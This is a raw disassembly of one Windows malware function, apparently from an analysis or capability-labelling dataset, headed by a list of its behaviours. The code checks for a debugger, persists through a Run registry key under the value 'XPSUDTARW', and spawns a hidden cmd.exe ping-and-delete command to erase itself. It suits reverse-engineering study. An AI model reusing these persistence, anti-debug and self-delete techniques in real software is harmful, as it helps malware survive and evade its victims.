Function at 0x410e20
Capabilities:
Create process on windows
Create thread
Persist via run registry key
Query or enumerate registry value
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x485712
mov eax, dword fs:[0]
push eax
sub esp, 0x794
mov eax, dword [0x4b7134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call edi
test eax, eax
jne 0x410e53
nop dword [eax]
call edi
test eax, eax
jne 0x410e60
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x410ecf
push esi
push esi
lea eax, [ebp - 0x644]
push eax
push esi
push str.XPSUDTARW
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x410f07
lea eax, [ebp - 0x62c]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
push 0x412
lea eax, [ebp - 0x218]
push eax
push 1
push 0
push str.XPSUDTARW
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call fcn.0046cbcc
push eax
call fcn.004684b2
add esp, 8
call fcn.00468491
mov ecx, 0xfffff061
cdq
idiv ecx
lea ecx, [ebp - 0x7a0]
mov dword [ebp - method.std::_Func_impl_no_alloc_void____cdecl___void___void___.virtual_0], vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov dword [ebp - 0x79c], 0x410df0
mov dword [ebp - 0x77c], ecx
lea esi, [edx + 0x3e8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x674]
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x650], 0
mov byte [ebp - 4], 1
test ecx, ecx
je 0x410f8e
mov eax, dword [ecx]
lea edx, [ebp - 0x674]
push edx
mov eax, dword [eax]
call eax
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], esi
push 0x30
mov byte [ebp - 4], 2
call fcn.0045d467
mov esi, eax
add esp, 4
mov dword [esi + 0x24], 0
mov ecx, dword [ebp - 0x650]
test ecx, ecx
je 0x410ff7
lea eax, [ebp - 0x674]
cmp ecx, eax
jne 0x410fea
mov eax, dword [ecx]
push esi
mov eax, dword [eax + 4]
call eax
mov dword [esi + 0x24], eax
mov ecx, dword [ebp - 0x650]
test ecx, ecx
je 0x410ff7
mov edx, dword [ecx]
lea eax, [ebp - 0x674]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
jmp 0x410fed
mov dword [esi + 0x24], ecx
mov dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x64c]
mov dword [esi + 0x28], eax
mov dword [ebp - 0x644], esi
lea eax, [ebp - 0x62c]
mov byte [ebp - 4], 3
push eax
push 0
push esi
push 0x41d660
push 0
push 0
call fcn.00468e78
add esp, 0x18
mov dword [ebp - 0x630], eax
test eax, eax
je 0x411390
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x62c]
test ecx, ecx
je 0x4113a1
push ecx
push eax
call fcn.0045b87c
add esp, 8
test eax, eax
jne 0x4113a8
mov ecx, dword [ebp - 0x650]
xorps xmm0, xmm0
movlpd qword [ebp - 0x630], xmm0
test ecx, ecx
je 0x411080
mov edx, dword [ecx]
lea eax, [ebp - 0x674]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov ecx, dword [ebp - 0x77c]
test ecx, ecx
je 0x41109e
mov edx, dword [ecx]
lea eax, [ebp - 0x7a0]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [ebp - 0x778], 0
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x730], 0
mov dword [ebp - 0x718], 0
mov dword [ebp - 0x700], 0
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x6d0], 0
mov dword [ebp - 0x6b8], 0
mov dword [ebp - 0x6a0], 0
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x764], 0xf
mov byte [ebp - 0x778], 0
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x74c], 0xf
mov byte [ebp - 0x760], 0
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x734], 0xf
mov byte [ebp - 0x748], 0
mov dword [ebp - 0x720], 0
mov dword [ebp - 0x71c], 0xf
mov byte [ebp - 0x730], 0
mov dword [ebp - 0x708], 0
mov dword [ebp - 0x704], 0xf
mov byte [ebp - 0x718], 0
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0x6ec], 0xf
mov byte [ebp - 0x700], 0
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x6d4], 0xf
mov byte [ebp - 0x6e8], 0
mov dword [ebp - 0x6c0], 0
mov dword [ebp - 0x6bc], 0xf
mov byte [ebp - 0x6d0], 0
mov dword [ebp - 0x6a8], 0
mov dword [ebp - 0x6a4], 0xf
mov byte [ebp - 0x6b8], 0
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x68c], 0xf
mov byte [ebp - 0x6a0], 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 4], 5
push eax
push 0x20019
push 0
push str.SoftwareSoftwareClient
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x411267
push eax
push eax
lea eax, [ebp - 0x644]
push eax
push 0
push 0x4a4cc0
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x411267
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41127e
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x778]
call fcn.00407c40
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
mov byte [ebp - 4], 6
call fcn.0040a1d0
nop dword [eax]
call edi
test eax, eax
jne 0x4112b0
call fcn.0040f9f0
nop dword [eax + eax]
call edi
test eax, eax
jne 0x4112c0
call fcn.0040a1d0
nop dword [eax + eax]
call edi
test eax, eax
jne 0x4112d0
push 0x44
push eax
lea eax, [ebp - 0x688]
push eax
call fcn.0045f490
add esp, 0xc
lea eax, [ebp - 0x218]
xorps xmm0, xmm0
movups xmmword [ebp - 0x638], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea eax, [ebp - 0x628]
push 0x208
push eax
call fcn.0040aea0
add esp, 0x10
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x688]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x634]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x638]
call esi
lea ecx, [ebp - 0x778]
call fcn.004113b0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045d23f
mov esp, ebp
pop ebp
ret
push 6
mov dword [ebp - 0x62c], 0
call fcn.0045bd4b
push 1
call fcn.0045bd4b
push eax
call fcn.0045bd1e
int3